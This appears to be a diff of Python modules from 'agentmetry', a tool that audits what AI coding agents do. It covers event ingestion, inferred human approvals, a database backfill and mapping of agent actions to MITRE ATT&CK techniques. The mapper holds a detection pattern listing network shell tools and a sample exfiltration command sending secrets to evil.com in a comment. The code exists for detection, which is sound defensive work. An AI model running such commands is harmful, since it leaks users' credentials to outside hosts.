agentmetry 0.4.0__py3-none-any.whl

agentmetry/core/audit/identity.py

@@ -0,0 +1,39 @@
+"""Host and fleet identity fields on canonical events."""
+
+from __future__ import annotations
+
+import socket
+from functools import lru_cache
+
+from agentmetry.core.config import settings
+
+
+@lru_cache(maxsize=1)
+def host_id() -> str:
+    """The machine name, resolved once.
+
+    This sits in the hot path: every canonical event calls it, and a busy
+    developer produces on the order of a thousand a day. A hostname does not
+    change under a running process, so resolving it per event buys nothing and
+    costs a syscall.
+    """
+    return socket.gethostname()
+
+
+def fleet_id() -> str:
+    return settings.fleet_id.strip()
+
+
+def identity_fields() -> dict[str, str]:
+    """Top-level host/fleet keys every canonical event carries.
+
+    `fleet_id` is omitted rather than emitted empty when unset. An empty string
+    on every event is noise in the trail and a trap in a SIEM, where
+    `fleet_id="*"` then matches unconfigured hosts and a `fleet_id!=""` filter
+    is needed to exclude them. Absent means absent.
+    """
+    fields = {"host_id": host_id()}
+    fleet = fleet_id()
+    if fleet:
+        fields["fleet_id"] = fleet
+    return fields

agentmetry/core/audit/ingest.py

@@ -0,0 +1,242 @@
+"""Ingest external adapter events into Agentmetry sinks (Tier B)."""
+
+from __future__ import annotations
+
+import logging
+from typing import Any
+
+from agentmetry.core.audit.detection.live import (
+    build_detection_event,
+    mark_detection_emitted,
+    mark_host_detection_emitted,
+    observe,
+    observe_host,
+)
+from agentmetry.core.audit.external import build_external_canonical
+from agentmetry.core.audit.sinks import build_audit_sinks, parse_sink_modes
+from agentmetry.core.config import settings
+
+logger = logging.getLogger(__name__)
+
+_sink = None
+
+# Best-effort, in-session approval correlation (Tier B). No IDE reports "the
+# human clicked approve", so we infer it: a tool that RUNS after an `ask` means
+# the human approved; an `ask` still pending at session end means denied/aborted.
+# Inferred events are explicitly marked `reason: inferred:*` — never presented
+# as a native approval signal. In-memory only (lost on restart); approvals are
+# short-lived within a session so this is acceptable for a local recorder.
+_pending_approvals: dict[str, list[dict[str, str]]] = {}
+_MAX_PENDING_PER_CORR = 64
+
+
+def reset_ingest_sink_cache() -> None:
+    """Test helper — clear lazy sink singleton."""
+    global _sink
+    _sink = None
+
+
+def reset_pending_approvals() -> None:
+    """Test helper — clear the approval-correlation state."""
+    _pending_approvals.clear()
+
+
+def _tool_ident(canonical: dict[str, Any]) -> tuple[str, str, str]:
+    tool = canonical.get("tool") or {}
+    return (
+        str(tool.get("qualified") or ""),
+        str(tool.get("server") or ""),
+        str(tool.get("input_hash") or ""),
+    )
+
+
+def _approval_matches(pending: dict[str, str], qualified: str, input_hash: str) -> bool:
+    """Does this executed call satisfy that pending approval?
+
+    Bind on the most specific identity both sides carry, the same precedence
+    rule_approval_denied_then_executed uses. When both know the argument hash
+    they must agree: an approval for `Bash(rm -rf /tmp/x)` must not be consumed
+    by a later `Bash(ls)`, or the trail claims a human approved something they
+    never saw. That gap between the proposed action and the one that ran is
+    exactly where surprises live.
+
+    Falls back to the tool name only when a hash is missing on either side,
+    which is the pre-hash adapter case. An approval recorded with no tool name
+    still matches anything, as before.
+    """
+    if pending.get("tool") and pending["tool"] != qualified:
+        return False
+    if pending.get("input_hash") and input_hash:
+        return pending["input_hash"] == input_hash
+    return True
+
+
+def _approval_payload(
+    source_app: str, corr: str, pending: dict[str, str], outcome: str, reason: str
+) -> dict[str, Any]:
+    return {
+        "source_app": source_app,
+        "adapter": f"{source_app}_inferred",
+        "event_type": "approval_response",
+        "outcome": outcome,
+        "reason": reason,
+        "correlation_id": corr,
+        "gated_action": {
+            "tool": pending.get("tool", ""),
+            "server": pending.get("server", ""),
+            "input_hash": pending.get("input_hash", ""),
+        },
+    }
+
+
+def infer_approval_payloads(canonical: dict[str, Any]) -> list[dict[str, Any]]:
+    """Return synthetic approval_response payloads inferred from the event stream."""
+    action = canonical.get("action") or {}
+    atype = action.get("type")
+    outcome = action.get("outcome")
+    corr = str(canonical.get("correlation_id") or "")
+    if not corr:
+        return []
+    source_app = str((canonical.get("source") or {}).get("app") or "cursor")
+
+    if atype == "approval_request" and outcome == "pending":
+        qualified, server, input_hash = _tool_ident(canonical)
+        bucket = _pending_approvals.setdefault(corr, [])
+        if len(bucket) < _MAX_PENDING_PER_CORR:
+            bucket.append({"tool": qualified, "server": server, "input_hash": input_hash})
+        return []
+
+    if atype == "tool_called" and outcome == "success":
+        bucket = _pending_approvals.get(corr) or []
+        qualified, _server, input_hash = _tool_ident(canonical)
+        for i, pending in enumerate(bucket):
+            if _approval_matches(pending, qualified, input_hash):
+                bucket.pop(i)
+                return [
+                    _approval_payload(
+                        source_app, corr, pending, "success", "inferred:tool_ran_after_ask"
+                    )
+                ]
+        return []
+
+    if atype == "session_end":
+        bucket = _pending_approvals.pop(corr, [])
+        return [
+            _approval_payload(
+                source_app, corr, pending, "denied", "inferred:session_ended_pending"
+            )
+            for pending in bucket
+        ]
+
+    return []
+
+
+def _get_sink():
+    global _sink
+    if _sink is not None:
+        return _sink
+    if not settings.audit_export_enabled:
+        return None
+    modes = parse_sink_modes(settings.audit_sink)
+    _sink = build_audit_sinks(
+        modes=modes,
+        file_path=settings.audit_export_path,
+        webhook_url=settings.audit_webhook_url,
+        webhook_timeout_seconds=settings.audit_webhook_timeout_seconds,
+        webhook_format=settings.audit_webhook_format,
+        elastic_url=settings.audit_elastic_url,
+        elastic_index=settings.audit_elastic_index,
+        elastic_api_key=settings.audit_elastic_api_key,
+        elastic_verify_tls=settings.audit_elastic_verify_tls,
+        splunk_hec_url=settings.audit_splunk_hec_url,
+        splunk_hec_token=settings.audit_splunk_hec_token,
+        splunk_index=settings.audit_splunk_index,
+        splunk_sourcetype=settings.audit_splunk_sourcetype,
+        splunk_verify_tls=settings.audit_splunk_verify_tls,
+    )
+    from agentmetry.core.audit.alerts import AlertWebhookSink
+    from agentmetry.core.audit.sinks import MultiAuditSink
+
+    if settings.audit_alert_webhook_url.strip():
+        alert_sink = AlertWebhookSink(
+            settings.audit_alert_webhook_url.strip(),
+            timeout_seconds=settings.audit_webhook_timeout_seconds,
+        )
+        if _sink is None:
+            _sink = alert_sink
+        elif isinstance(_sink, MultiAuditSink):
+            _sink._sinks.append(alert_sink)
+        else:
+            _sink = MultiAuditSink([_sink, alert_sink])
+
+    return _sink
+async def ingest_external_event(payload: dict[str, Any]) -> dict[str, Any]:
+    """Validate adapter payload, build canonical event, forward to configured sinks."""
+    if not settings.audit_ingest_enabled:
+        raise ValueError("External audit ingest is disabled")
+
+    canonical = build_external_canonical(payload)
+
+    # 1. Durable indexed store (query backend)
+    from agentmetry.core.audit.trail_db import get_trail_db
+    get_trail_db().insert(canonical)
+
+    # 2. Forward to configured sinks (JSONL file, webhook, Elastic, Splunk)
+    sink = _get_sink()
+    if sink is None:
+        raise RuntimeError("No audit sinks configured")
+
+    await sink.emit(canonical)
+
+    # Emit any inferred approval_response events derived from the stream.
+    inferred: list[dict[str, Any]] = []
+    for extra_payload in infer_approval_payloads(canonical):
+        extra = build_external_canonical(extra_payload)
+        inferred.append(extra)
+        get_trail_db().insert(extra)
+        await sink.emit(extra)
+
+    # Correlate as events arrive. A detection that only surfaces when someone
+    # opens the session in the dashboard is not a control — emit it down the
+    # same sinks so it reaches the SIEM and the alert webhook.
+    pending_detections: list[tuple[Any, dict[str, Any], str, str, str]] = []
+    for event in (canonical, *inferred):
+        corr = str(event.get("correlation_id") or "")
+        host_id = str(event.get("host_id") or "")
+        ts = str(event.get("timestamp_utc") or "")
+        for detection in (*observe(event), *observe_host(event)):
+            pending_detections.append((detection, event, corr, host_id, ts))
+
+    for detection, event, corr, host_id, ts in pending_detections:
+        det_event = build_detection_event(detection, event)
+        try:
+            # The trail insert is the durability guarantee: it raises on a local
+            # write failure and the rule stays un-checkpointed, so it re-fires on
+            # the next event. Network sinks (webhook/Elastic/Splunk/Loki) swallow
+            # their own errors, so a down SIEM does NOT raise here and does not
+            # block the checkpoint — forwarding is best-effort, the local trail
+            # is the source of truth.
+            get_trail_db().insert(det_event)
+            await sink.emit(det_event)
+        except Exception:
+            logger.exception("Failed to emit detection %s", detection.rule_id)
+            continue
+        if detection.rule_id.startswith("host-"):
+            mark_host_detection_emitted(host_id, detection.rule_id, emitted_at=ts)
+        else:
+            mark_detection_emitted(corr, detection.rule_id, emitted_at=ts)
+        logger.warning(
+            "DETECTION %s [%s] correlation=%s — %s",
+            detection.rule_id,
+            detection.severity,
+            detection.correlation_id,
+            detection.summary,
+        )
+
+    logger.info(
+        "Ingested external audit event app=%s type=%s correlation=%s",
+        (canonical.get("source") or {}).get("app"),
+        (canonical.get("action") or {}).get("type"),
+        canonical.get("correlation_id"),
+    )
+    return canonical

agentmetry/core/audit/migrate.py

@@ -0,0 +1,73 @@
+"""Backfill the SQLite query store from the existing JSONL trail.
+
+Runs once on startup. Every failure mode here is non-fatal by design: the JSONL
+trail is the durable record and the DB is a query index, so a broken index must
+never stop the recorder from booting.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+from pathlib import Path
+
+from agentmetry.core.audit.trail_db import get_trail_db
+from agentmetry.core.config import settings
+
+logger = logging.getLogger(__name__)
+
+_BATCH = 1000
+
+
+def backfill_db_from_jsonl() -> int:
+    """Insert any JSONL events missing from the DB. Returns rows inserted.
+
+    Idempotent: insert_batch uses INSERT OR IGNORE against a UNIQUE event_id, so
+    re-running costs a scan and inserts nothing new. That is why this no longer
+    returns early when the DB is non-empty. The previous version did, which meant
+    a crash part-way through the first backfill left the DB permanently and
+    silently partial: every later start saw rows, assumed the job was done, and
+    the rest of the trail was never queryable.
+    """
+    jsonl_path = Path(settings.audit_export_path)
+    if not jsonl_path.is_file():
+        return 0
+
+    try:
+        db = get_trail_db()
+    except Exception:
+        logger.exception("Audit DB unavailable; skipping backfill (JSONL trail unaffected)")
+        return 0
+
+    total = 0
+    batch: list[dict] = []
+    try:
+        with jsonl_path.open("r", encoding="utf-8", errors="replace") as fh:
+            for line in fh:
+                line = line.strip()
+                if not line:
+                    continue
+                try:
+                    raw = json.loads(line)
+                except json.JSONDecodeError:
+                    continue
+                if not isinstance(raw, dict):
+                    continue
+                from agentmetry.core.audit.trail_chain import unwrap_trail_record
+
+                event = unwrap_trail_record(raw)
+                batch.append(event)
+                if len(batch) >= _BATCH:
+                    total += db.insert_batch(batch)
+                    batch.clear()
+            if batch:
+                total += db.insert_batch(batch)
+    except Exception as exc:
+        logger.warning(
+            "Audit trail backfill stopped early (%s); the JSONL trail is unaffected", exc
+        )
+        return total
+
+    if total:
+        logger.info("Audit trail backfill inserted %d new event(s)", total)
+    return total

agentmetry/core/audit/mitre.py

@@ -0,0 +1,244 @@
+"""MITRE ATT&CK mapping for agent tool activity.
+
+Two layers:
+  1. Tool -> technique: what kind of action the tool performs (by tool name).
+  2. Content upgrade: if the evidence (command / arguments) touches a sensitive
+     target, upgrade to a higher-signal technique — e.g. reading a private key
+     is Credential Access (T1552), not generic Collection (T1005). This is the
+     signal a SOC actually pays for; it only fires on the Tier B path where the
+     command/args are available (Tier A stores hashes only).
+
+Structured IDs are stored so a SIEM can pivot on `technique_id`; human labels
+stay for display.
+"""
+
+from __future__ import annotations
+
+import json
+import re
+from typing import Any
+
+
+def _m(tactic_id: str, tactic: str, technique_id: str, technique: str) -> dict[str, str]:
+    return {
+        "tactic_id": tactic_id,
+        "tactic": tactic,
+        "technique_id": technique_id,
+        "technique": technique,
+    }
+
+
+def _norm(name: str) -> str:
+    """Fold a tool method to a comparable key.
+
+    IDE agents spell the same action three different ways — Cursor ships
+    `SearchAndReplace`, Claude ships `WebFetch`, our drivers ship `read_file`.
+    Dropping case and separators means one entry covers all spellings; without
+    this, `web_search` matched but `WebSearch` silently did not, and an unmapped
+    network call means the credential-exfil rule can never fire.
+    """
+    return name.lower().replace("_", "").replace("-", "")
+
+
+_EXECUTION = _m("TA0002", "Execution", "T1059", "Command and Scripting Interpreter")
+_COLLECTION = _m("TA0009", "Collection", "T1005", "Data from Local System")
+_DISCOVERY = _m("TA0007", "Discovery", "T1083", "File and Directory Discovery")
+_MANIPULATION = _m("TA0040", "Impact", "T1565", "Data Manipulation")
+_DESTRUCTION = _m("TA0040", "Impact", "T1485", "Data Destruction")
+_C2 = _m("TA0011", "Command and Control", "T1071.001", "Web Protocols")
+
+# Normalized tool method -> technique. Keys are _norm()'d at build time.
+_TOOL_MAP: dict[str, dict[str, str]] = {
+    _norm(k): v
+    for k, v in {
+        # Execution
+        "run_command": _EXECUTION,
+        "run_terminal_cmd": _EXECUTION,
+        "run": _EXECUTION,  # shell.run
+        "run_shell": _EXECUTION,  # opensre
+        "shell": _EXECUTION,
+        "shell_exec": _EXECUTION,
+        "execute_command": _EXECUTION,
+        "exec": _EXECUTION,
+        "terminal": _EXECUTION,
+        "bash": _m("TA0002", "Execution", "T1059.004", "Unix Shell"),
+        "powershell": _m("TA0002", "Execution", "T1059.001", "PowerShell"),
+        # Collection
+        "read_file": _COLLECTION,
+        "read_note": _COLLECTION,
+        "view_file": _COLLECTION,
+        "read": _COLLECTION,
+        "grep_search": _COLLECTION,
+        "grep": _COLLECTION,
+        "codebase_search": _COLLECTION,
+        "search": _COLLECTION,
+        # Discovery
+        "list_dir": _DISCOVERY,
+        "glob": _DISCOVERY,
+        "ls": _DISCOVERY,
+        "find": _DISCOVERY,
+        # Impact / Manipulation
+        "write_file": _MANIPULATION,
+        "write_to_file": _MANIPULATION,
+        "write": _MANIPULATION,
+        "edit_file": _MANIPULATION,
+        "edit": _MANIPULATION,
+        "multi_edit": _MANIPULATION,  # Claude MultiEdit
+        "search_and_replace": _MANIPULATION,  # Cursor SearchAndReplace
+        "notebook_edit": _MANIPULATION,
+        "replace_file_content": _MANIPULATION,
+        "multi_replace_file_content": _MANIPULATION,
+        # Impact / Destruction — the highest-severity impact; must not be missed.
+        "delete_file": _DESTRUCTION,
+        "delete": _DESTRUCTION,  # cursor.Delete
+        "remove": _DESTRUCTION,
+        # Command & Control / network egress. TA0011 here is what lets the
+        # credential-exfil sequence rule fire, so keep this list generous.
+        "curl": _C2,
+        "wget": _C2,
+        "fetch": _C2,
+        "web_fetch": _C2,  # Claude WebFetch
+        "web_search": _C2,  # Claude WebSearch
+        "http_request": _C2,
+    }.items()
+}
+
+# Content upgrades — fire on evidence text, highest-signal first.
+# (Exfil is a *sequence* signal — a read followed by network egress — and lives
+#  in the detection rules, not in per-event tagging.)
+_CREDENTIAL_ACCESS = _m("TA0006", "Credential Access", "T1552.001", "Credentials In Files")
+_PRIVATE_KEY = _m("TA0006", "Credential Access", "T1552.004", "Private Keys")
+
+# Credential and private-key recognition now lives in detection/traits.py, and
+# this module imports it rather than keeping a second copy.
+#
+# It used to keep its own tuple of substrings matched with `p in text`. That is
+# how `agentmetry.core.diagnostics.env_file` earned T1552.001 (#40): the tuple
+# contained a bare ".env". Worse than the false positive was the shape of the
+# bug. Two classifiers were answering "is this credential access" from
+# different data -- `classify_command` said no traits, the mapper said
+# T1552.001 -- and the sequence rules keyed off the mapper, the one with less
+# information and no test corpus. A disagreement between them was not merely
+# possible, it was undetectable.
+from agentmetry.core.audit.detection.traits import (  # noqa: E402
+    CREDENTIAL_ENV,
+    CREDENTIAL_ENV_DUMP,
+    CREDENTIAL_PATH,
+    ENV_FILE,
+    INTERPRETER_NETWORK,
+    PRIVATE_KEY_PATH,
+    mask_literals,
+)
+
+# Shell-wrapped network egress. `bash: curl -d @secrets https://evil.com` is a
+# network connection, so it is Command and Control, not merely Execution. The
+# tool name alone cannot see this: the tool is "Bash", and the egress lives in
+# the arguments. Without this, the most common exfil path (curl from a shell)
+# never earns TA0011 and the credential-exfil sequence rule cannot fire.
+#
+# This tags a *fact* about one event (it talked to the network). Exfiltration
+# itself stays a sequence signal, decided by the detection rules.
+_NETWORK_CLIENT = re.compile(
+    r"\b(curl|wget|iwr|invoke-webrequest|invoke-restmethod|nc|netcat|scp|rsync|ftp|telnet)\b"
+)
+_URL_HOST = re.compile(r"https?://(?:[^\s/@'\"]*@)?([^\s/:'\"]+)")
+_BARE_IP = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
+# Loopback is not egress. Hitting your own health endpoint is the single most
+# common thing a developer does while running this tool, and tagging it
+# Command and Control buries the one event that matters under a hundred that
+# don't. Anything off the box still counts, including the LAN: exfil to the
+# machine next to you is still exfil.
+_LOOPBACK = re.compile(r"^(?:localhost|127(?:\.\d{1,3}){3}|0\.0\.0\.0|\[?::1\]?)$")
+_C2 = _m("TA0011", "Command and Control", "T1071.001", "Web Protocols")
+
+
+def _reaches_remote_host(text: str) -> bool:
+    """True when the command names a target that is not this machine."""
+    hosts = _URL_HOST.findall(text) + _BARE_IP.findall(text)
+    return any(not _LOOPBACK.match(host) for host in hosts)
+
+
+def _shell_text(evidence: Any) -> str | None:
+    """The shell command inside `evidence`, or None if this is not shell text.
+
+    Masking is a statement about *shell* quoting, and applying it to anything
+    else is actively wrong. `_evidence_text` returns JSON for dict evidence,
+    where the entire command sits inside double quotes -- masking that blanks
+    the whole string and every content rule silently stops matching. A tool call
+    carrying `{"path": "~/.aws/credentials"}` has no shell quoting to reason
+    about either, and its quotes are JSON syntax rather than an author's intent.
+
+    So: mask when we have a command, and only then.
+    """
+    if isinstance(evidence, str):
+        return evidence
+    if isinstance(evidence, dict):
+        command = evidence.get("command")
+        if isinstance(command, str) and command:
+            return command
+    return None
+
+
+def _evidence_text(evidence: Any) -> str:
+    if not evidence:
+        return ""
+    if isinstance(evidence, str):
+        return evidence.lower()
+    try:
+        return json.dumps(evidence, default=str).lower()
+    except Exception:
+        return str(evidence).lower()
+
+
+def get_mitre_mapping(
+    tool_qualified: str, evidence: Any = None
+) -> dict[str, str] | None:
+    """Return the MITRE tactic/technique for a tool call.
+
+    `evidence` (command string or args) is optional; when present it can upgrade
+    the mapping to a higher-signal technique (credential access, exfil).
+    """
+    text = _evidence_text(evidence)
+
+    # 1. Content upgrades win — a read that touches a key is credential access,
+    #    not generic collection.
+    if text:
+        # Same masking policy as classify_command: paths may be double-quoted
+        # and still be real, but a path inside single quotes or a heredoc is
+        # text somebody is writing, not a file somebody is reading. Structured
+        # evidence is not masked at all -- see _shell_text.
+        shell = _shell_text(evidence)
+        literal = mask_literals(shell, include_double=False).lower() if shell else text
+        written = mask_literals(shell).lower() if shell else text
+        if PRIVATE_KEY_PATH.search(literal):
+            return _PRIVATE_KEY
+        if (
+            CREDENTIAL_PATH.search(literal)
+            or ENV_FILE.search(literal)
+            or CREDENTIAL_ENV.search(text)
+            or CREDENTIAL_ENV_DUMP.search(written)
+        ):
+            return _CREDENTIAL_ACCESS
+        # A shell that reaches the network is C2, whatever the tool is called.
+        # An interpreter counts: `python -c "urllib.request.urlopen(...)"` is a
+        # network client, and in a container it is often the only one installed.
+        # INTERPRETER_NETWORK reads `literal`, not `written`: the payload of
+        # `python -c "urllib.request.urlopen(...)"` is double-quoted and is the
+        # program being run, so blanking it would hide the very thing being
+        # matched. Single quotes and heredocs are still masked, which is what
+        # keeps `echo 'python -c "urlopen"'` from firing.
+        if _reaches_remote_host(text) and (
+            _NETWORK_CLIENT.search(written) or INTERPRETER_NETWORK.search(literal)
+        ):
+            return _C2
+
+    # 2. Tool-name mapping on the method segment (the part after the last '.'),
+    #    normalized so Cursor/Claude/driver spellings all land on one entry.
+    if not tool_qualified:
+        return None
+    method = _norm(tool_qualified.rsplit(".", 1)[-1])
+    return _TOOL_MAP.get(method)
+
+
+# Backwards-compatible alias for any callers importing the old name.
+MITRE_MAPPINGS = _TOOL_MAP